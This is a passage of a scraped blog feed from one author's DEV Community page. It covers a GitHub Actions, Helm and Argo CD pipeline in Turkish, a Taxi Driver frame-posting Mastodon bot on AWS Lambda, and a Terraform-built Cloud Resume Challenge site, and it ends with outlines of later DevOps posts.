        tags: ${{ secrets.DOCKER_USERNAME }}/go-web-app:${{ github.run_id }}

  update-newtag-in-helm-chart:
    runs-on: ubuntu-latest

    needs: push

    steps:
    - name: Checkout repository
      uses: actions/checkout@v4

    - name: Update Helm chart
      run: |
        # Update the Helm chart tag
        sed -i 's/tag: .*/tag: ${GITHUB_RUN_ID}/' ./go-web-app-chart/values.yaml

6. Argo CD ile Sürekli Dağıtım Süreci
Son olarak, Argo CD ile sürekli dağıtım sürecini tamamladım. Argo CD, Kubernetes kümelerine otomatik dağıtım yaparak uygulamaların doğru sürümlerinin her zaman çalışmasını sağlar. Argo CD'nin kullanımını otomatikleştirdim ve Helm chart'ım ile sürekli dağıtımı Argo CD üzerinden gerçekleştirdim.

Argo CD'yi kurduktan sonra, Helm chart'ımı kaynak olarak ekledim ve Argo CD üzerinden manuel veya otomatik dağıtımlar gerçekleştirdim.

Sonuç
Proje, Docker, Kubernetes, Helm, GitHub Actions ve Argo CD entegrasyonuyla uygulama geliştirme ve dağıtım süreçlerini otomatikleştirmeme olanak tanıdı. Bu süreçlerin her birini doğru şekilde entegre etmek, sürekli entegrasyon (CI) ve sürekli dağıtım (CD) süreçlerini başarıyla kurmak, yazılım geliştirme ve dağıtımında verimliliği artırarak daha hızlı ve güvenilir sonuçlar elde edilmesini sağladı. Bu projede öğrendiğim en önemli şeylerden biri, farklı araç ve teknolojilerin birbirine nasıl entegre olacağını anlamak ve bu entegrasyonu etkin bir şekilde yönetebilmektir.

Karşılaşılan Zorluklar
Her ne kadar proje başarılı bir şekilde tamamlanmış olsa da, bazı zorluklarla karşılaştım. Bu zorluklar, proje sürecinin bazı noktalarında benim için önemli öğrenme fırsatları sundu.

GitHub Actions ile CI/CD sürecini kurarken, özellikle test aşamalarında karşılaştım. Docker imajlarının doğru bir şekilde yapılandırılması ve DockerHub'a yüklenmesi için gerekli olan adımlar zaman zaman hatalı gerçekleşti. Bu durumun üstesinden gelmek için GitHub Actions iş akışını dikkatlice optimize ettim ve her bir adımı doğru sırayla çalışacak şekilde yapılandırdım.
Argo CD ile sürekli dağıtım süreçlerini otomatikleştirmeye çalışırken, Helm chart'ları ile doğru entegrasyonu sağlamak bazen karmaşık hale geldi. Bu durumu çözmek için Argo CD'nin Helm entegrasyonunu dikkatlice araştırdım ve doğru Helm chart sürümünü kullandım. Ayrıca, Argo CD'nin düzgün çalışması için kaynakların doğru şekilde tanımlanması gerektiği konusunda birçok deneme yaptım.
Kubernetes kümesinin yönetimi, özellikle manuel yapılandırmalar ve değişikliklerin yapılması gerektiğinde zorlayıcı olabiliyor. EKS üzerinde kümeyi yönetmek, özellikle altyapı hataları veya ağ yapılandırma sorunları nedeniyle zaman zaman karmaşık hale geldi. Bu zorlukları aşmak için AWS belgelerine başvurdum ve en iyi uygulama örneklerini takip ettim.

Mastadon Bot with AWS Lambda, S3, CloudWatch, and SSM

Taha Yağız Güler — Thu, 23 Mar 2023 13:08:57 +0000

In this post I show you how I set up the MastadonBot to share random frames from the movie Taxi Driver.
This bot was created by taking inspiration from Cameron Ezell.

I also created this bot using Terraform. You can browse Github MastadonBot_AWS.

How I got the frames?

Python script "ExtractImagesFromVideoFile" I wrote for capturing screenshots at specified intervals from a video file using ffmpeg. This Python script captures screenshots from a video file at specified intervals (e.g., 1 second) using ffmpeg.

Uploading frames!

First of all, I created an S3 bucket and uploaded the screenshots I wanted to share to this bucket and used the following path while uploading the screenshots.

After saving about 7000 screenshots it would take quite a while to upload them to the S3 bucket so I created an EC2 instance and uploaded the files via FTP then copied the S3 bucket via the aws cli > aws s3 cp ./ s3://your-bucket/ --recursive.

Create your Application

For anyone interested in building a Mastodon bot, make sure the instance you create your bot on is fine with automated accounts.

After signing up, create an app from Preferences > Development.

(botsin.space)

Enter a name for your application and default values for now.

I keep the access token as SecureString type using the AWS Systems Manager Parameter Store. This is an important step for security.

Lambda Function

Boto3(AWS Lambda) script for randomly selects screenshots stored in S3 and enables sharing.

import mastodon
from mastodon import Mastodon
import boto3
import os
import random
import re

def lambda_handler(event, context):
    BASE_URL = "https://botsin.space"
    BUCKET_NAME = "movieframebucket" # XXXXXXX
    keyArray = []
    ssm = boto3.client("ssm")

    auth_keys = ssm.get_parameters(
        Names=["my_consumer_key"], WithDecryption=True) # XXXXXXX
    access_token = auth_keys["Parameters"][0]["Value"]

    m = Mastodon(access_token=access_token, api_base_url=BASE_URL)

    s3 = boto3.resource("s3")
    s3bucket = s3.Bucket(BUCKET_NAME)

    try:
        for obj in s3bucket.objects.filter(Prefix="taxi_driver_frames/"): # XXXXXXX
            # add all frame key values from episode to an array
            keyArray.append("{0}".format(obj.key))
    except Exception as e:
        # If there is an error, raise the exception and stop the function
        raise e

    numFrames = len(keyArray)
    randomFrame = random.randint(0, numFrames)
    KEY = keyArray[randomFrame]
    print("frame from second # " + str(randomFrame))
    s3.Bucket(BUCKET_NAME).download_file(KEY, "/tmp/local.jpg")

    random_objectNumber = re.search(r'\d+', KEY).group()
    time_in_seconds = int(random_objectNumber)
    minutes, seconds = divmod(time_in_seconds, 60)
    hours, minutes = divmod(minutes, 60)
    time_format = "{:02d}:{:02d}:{:02d}".format(hours, minutes, seconds)
    frameInfo = "Taxi Driver | {:02d}:{:02d}:{:02d}".format(hours, minutes, seconds) 

    # We have to first create a media ID when uploading an image
    media = m.media_post("/tmp/local.jpg")
    # Then we can reference this media ID in our status post
    m.status_post(status=frameInfo, media_ids=media)


    os.remove("/tmp/local.jpg")
    return None

I installed the Mastadon package locally and zipped it with this code I wrote then uploaded it to Lambda.

CloudWatch Event for Lambda

I created a CloudWatch Event for Lambda to publish a post every 30 minutes.
And here is our Mastadon bot ready!

I may have missed a few parts, don't hesitate to reach out to me if you need help. I would like to help you as much as I can!

Cloud Resume Challenge (AWS)

Taha Yağız Güler — Sun, 19 Feb 2023 15:17:33 +0000

Cloud Resume Challenge is a project that helps us learn to use the cloud and some essential tools. You can access the outline of the project here Cloud Resume Challenge.

In this blog post, I will tell you about the steps I completed and challenges I went through the Cloud Resume Challenge. This challenge made me more familiar with using AWS services with Terraform. I learned about how the services work. I also learned and experienced a lot of things that I can't think of right now.

You can see the final result here and see the GitHub code.

You can complete this challenge as part of the AWS Free tier.
You only need to buy a domain name, but if you are a student there are many ways to buy it for free. In the next part of the article, I will talk about how to get a free domain name.

Now, let's take a look at which stages we need to complete.

Challenge Steps

Build a website in HTML/CSS.

This step is very easy. Simply create a resume page for your resume website using html and css.

Host website with S3 Bucket.

I'm build with Terraform, but you can use AWS SAM if you want.

I created an S3 bucket and determined the necessary CORS rule, and at the end, I ensured that the objects were uploaded to the S3 bucket collectively.

resource "aws_s3_bucket" "cloud-resume-bucket" {
  bucket = var.bucket_name
  acl    = "public-read"
  policy = file("website/policy.json")

  website {
    index_document = "index.html"
    error_document = "error.html"
  }
}


resource "aws_s3_bucket_cors_configuration" "s3_bucket_cors" {
  bucket = aws_s3_bucket.cloud-resume-bucket.id

  cors_rule {
    allowed_headers = ["*"]
    allowed_methods = ["GET", "POST"]
    allowed_origins = ["*"]
    max_age_seconds = 10
  }
}


resource "aws_s3_object" "test" {
  for_each = fileset("${path.module}/html", "**/*.*")
  acl    = "public-read"
  bucket = var.bucket_name
  key    = each.value
  source = "${path.module}/html/${each.value}"
  content_type  = lookup(var.mime_types, split(".", each.value)[length(split(".", each.value)) - 1])
}

CloudFront for routing HTTP/S traffic.

S3 website URL should use HTTPS for security. I did this with Cloudfront.

resource "aws_cloudfront_distribution" "s3_cf" {
  origin {
    domain_name              = "${aws_s3_bucket.cloud-resume-bucket.bucket_regional_domain_name}"
    origin_id                = "${local.s3_origin_id}"
  }

  enabled             = true
  is_ipv6_enabled     = true
  default_root_object = "index.html"


  custom_error_response {
      error_caching_min_ttl = 0
      error_code = 404
      response_code = 200
      response_page_path = "/error.html"
  }

  aliases = [var.domain_name]

  default_cache_behavior {
    allowed_methods  = ["GET", "HEAD"]
    cached_methods   = ["GET", "HEAD"]
    target_origin_id = "${local.s3_origin_id}"

    forwarded_values {
      query_string = false

      cookies {
        forward = "none"
      }
    }

    viewer_protocol_policy = "redirect-to-https" #redirect-to-https
    min_ttl                = 0
    default_ttl            = 3600
    max_ttl                = 86400
  }

  restrictions {
    geo_restriction {
      restriction_type = "none"
    }
  }

  # viewer_certificate {
  #   cloudfront_default_certificate = true
  # }

  viewer_certificate {
    acm_certificate_arn = aws_acm_certificate_validation.acm_val.certificate_arn
    ssl_support_method = "sni-only"
    minimum_protocol_version = "TLSv1.2_2021"
  }

}

Route53 for custom DNS.

In this step, I registered my domain name to the Route53 service as seen below.
(With the Github student package, you can get a free domain name.)

resource "aws_route53_zone" "main" {
  name = var.domain_name
}

resource "aws_route53_record" "domain" {
  zone_id = "${aws_route53_zone.main.zone_id}"
  name = "${var.domain_name}"
  type = "A"

  alias {
    name = "${aws_cloudfront_distribution.s3_cf.domain_name}"
    zone_id = "${aws_cloudfront_distribution.s3_cf.hosted_zone_id}"
    evaluate_target_health = false
  }
}

resource "aws_route53_record" "cert_validation" {
  for_each = {
    for dvo in aws_acm_certificate.cert.domain_validation_options : dvo.domain_name => {
      name   = dvo.resource_record_name
      record = dvo.resource_record_value
      type   = dvo.resource_record_type
    }
  }

  allow_overwrite = true
  name            = each.value.name
  records         = [each.value.record]
  ttl             = 60
  type            = each.value.type
  zone_id         = aws_route53_zone.main.zone_id
}

Certificate Manager for enabling secure access with SSL Certificate.

I set SSL certificate with the ACM service.

resource "aws_acm_certificate" "cert" {
  domain_name       = var.domain_name
  validation_method = "DNS"

  lifecycle {
    create_before_destroy = true
  }
}

resource "aws_acm_certificate_validation" "acm_val" {
  certificate_arn         = aws_acm_certificate.cert.arn
  validation_record_fqdns = [for record in aws_route53_record.cert_validation : record.fqdn]
}

DynamoDB for database, storing website visitor count.

I created a DynamoDB database to retrieve and update the visitor counter.

resource "aws_dynamodb_table" "visiters" {
  name           = var.dynamodb_table
  billing_mode   = "PROVISIONED"
  read_capacity  = 1
  write_capacity = 1
  hash_key       = "id"

  attribute {
    name = "id"
    type = "N"
  }
}

Lambda function (python) to read/write website visitor count to DynamoDB.

After setting it up to work with database. I added the Lambda function I wrote with Python(boto3) and the necessary IAM policy.

data "archive_file" "lambda_zip" {
  type = "zip"

  source_dir  = "${path.module}/src"
  output_path = "${path.module}/src.zip"
}    

resource "aws_s3_object" "this" {
  bucket = aws_s3_bucket.cloud-resume-bucket.id

  key    = "src.zip"
  source = data.archive_file.lambda_zip.output_path

  etag = filemd5(data.archive_file.lambda_zip.output_path)
}

//Define lambda function
resource "aws_lambda_function" "apigw_lambda_ddb" {
  function_name = "app"
  description = "visiter counter"

  s3_bucket = aws_s3_bucket.cloud-resume-bucket.id
  s3_key    = aws_s3_object.this.key

  runtime = "python3.8"
  handler = "app.lambda_handler"

  source_code_hash = data.archive_file.lambda_zip.output_base64sha256

  role = aws_iam_role.lambda_exec.arn

  environment {
    variables = {
      DDB_TABLE = var.dynamodb_table
    }
  }


} 

resource "aws_iam_role" "lambda_exec" {
  name_prefix = "LambdaDdbPost"

  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Action = "sts:AssumeRole"
      Effect = "Allow"
      Sid    = ""
      Principal = {
        Service = "lambda.amazonaws.com"
      }
      }
    ]
  })
}

resource "aws_iam_policy" "lambda_exec_role" {
  name_prefix = "lambda-tf-pattern-ddb-post"

  policy = <<POLICY
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "dynamodb:GetItem",
                "dynamodb:UpdateItem"
            ],
            "Resource": "arn:aws:dynamodb:*:*:table/${var.dynamodb_table}"
        }
    ]
}
POLICY
}

resource "aws_iam_role_policy_attachment" "lambda_policy" {
  role       = aws_iam_role.lambda_exec.name
  policy_arn = aws_iam_policy.lambda_exec_role.arn
}

API Gateway to trigger Lambda function.

I set up API Gateway to trigger Lambda Func.

# resource "random_string" "random" {
#   length           = 4
#   special          = false
# }

resource "aws_apigatewayv2_api" "http_lambda" {
  # name          = "${var.apigw_name}-${random_string.random.id}"
  name          = "${var.apigw_name}"
  protocol_type = "HTTP"
}

resource "aws_apigatewayv2_stage" "default" {
  api_id = aws_apigatewayv2_api.http_lambda.id

  name        = "$default"
  auto_deploy = true
}

resource "aws_apigatewayv2_integration" "apigw_lambda" {
  api_id = aws_apigatewayv2_api.http_lambda.id

  integration_uri    = aws_lambda_function.apigw_lambda_ddb.invoke_arn
  integration_type   = "AWS_PROXY"
  integration_method = "POST"
}

resource "aws_apigatewayv2_route" "get" {
  api_id = aws_apigatewayv2_api.http_lambda.id

  route_key = "GET /" 
  target    = "integrations/${aws_apigatewayv2_integration.apigw_lambda.id}"
}

# Gives an external source permission to access the Lambda function.
resource "aws_lambda_permission" "api_gw" {                            
  statement_id  = "AllowExecutionFromAPIGateway"
  action        = "lambda:InvokeFunction"
  function_name = aws_lambda_function.apigw_lambda_ddb.function_name
  principal     = "apigateway.amazonaws.com"

  source_arn = "${aws_apigatewayv2_api.http_lambda.execution_arn}/*/*"
}

Then, after setting up the CI/CD process with Github actions, I launched the website. This blog post is just a summary of my work. I faced many difficulties while completing this. The hardest step for me was connecting the Lambda - APIGW - DynamoDB services, but after some thought and research I was able to get around this. Thank you for reading, if you want to reach the codes of the project in detail, you can visit my GitHub account.

My Resume Site
GitHub Link of The Project

DEV Community: Taha Yağız Güler

AWS VPC Networking — Public Subnet, Private Subnet ve 3-Tier Mimari

Temel Kavramlar

CIDR — IP Adresi Aralığı

Route Table — Trafik Yönlendirme

IGW vs NAT Gateway

Kurduğumuz Mimari

Terraform ile VPC Kurulumu

VPC ve Subnet'ler

IGW, NAT ve Route Table'lar

Security Group Tasarımı

ALB — Public Subnet

EC2 — Private Subnet

RDS — DB Subnet

Doğrulama Testleri

Production Best Practices

Öğrendiklerim

All code from this lab is available on GitHub. If you spot something that could be done better, I'd genuinely love to hear it in the comments.

Prometheus ve Grafana'yı Derinlemesine Anlamak — TSDB, PromQL ve Custom Exporter

Neden TSDB?

Pull-based Mimari

Lab Ortamı

TSDB Dosya Yapısı

Custom Exporter

PromQL

Alert Kuralları

Grafana Dashboard

Öğrendiklerim

Container İçine Giremiyorum — Ve Bu İyi Bir Şey: Distroless Image'lar

Distroless Nedir?

Lab Ortamı

Aynı Uygulamayı İki Farklı Image ile Build Et

Image İçeriği — Gerçek Fark Burada

Güvenlik Testi — Saldırı Senaryosu

"Peki Debug Nasıl Yapacağım?"

Node Seviyesinde Debug

Pod Debug vs Node Debug

Production Best Practices

Öğrendiklerim

Kubernetes Probe'larını Bozarak Öğrenmek — Liveness, Readiness ve Startup

Probe nedir, neden gerekli?

Lab ortamı

Senaryo 1 — Bozuk Liveness Probe

Senaryo 2 — Bozuk Readiness Probe

Senaryo 3 — Startup Probe Olmadan Yavaş Uygulama

Senaryo 4 — HPA ile Readiness Entegrasyonu

Production'da Dikkat Ettiğim Şeyler

Özet

Terraform + Terragrunt + Ansible: A Hands-On Learning Journey

The Problem with Single-Environment Thinking

Project Architecture

Step 1: Terraform Modules — Reusable Infrastructure Components

Step 2: _base/main.tf — The Single Entry Point

Step 3: Terragrunt — Solving the Multi-Environment Problem

Root config

Per-environment config

Step 4: Ansible — Post-Provisioning Configuration

Dynamic inventory

Roles

Playbook

Idempotency test

Step 5: Connecting Everything — One Command to Rule Them All

Step 6: Proving It Works — IAM Isolation & Drift Testing

IAM isolation

Drift test

Key Takeaways

Building an AI-Powered Email Routing Agent with N8N, OpenRouter, and PostgreSQL

Building an AI-Powered Email Routing Agent with N8N, OpenRouter, and PostgreSQL

The Problem

Architecture Overview

Stage 1: Gmail Trigger

Stage 2: Prepare Mail Data

Stage 3: LLM Classification via OpenRouter

Stage 4: JS Response Parser

Stage 5: Switch → Team Routing

Stage 6: PostgreSQL Logging

What I Learned

What's Next

Wrapping Up

Claude Code'un Gücünü, Anthropic API Bağımlılığı Olmadan Ücretsiz Modellerle (OpenRouter) Kullanmak

Step 2: `_base/main.tf` — The Single Entry Point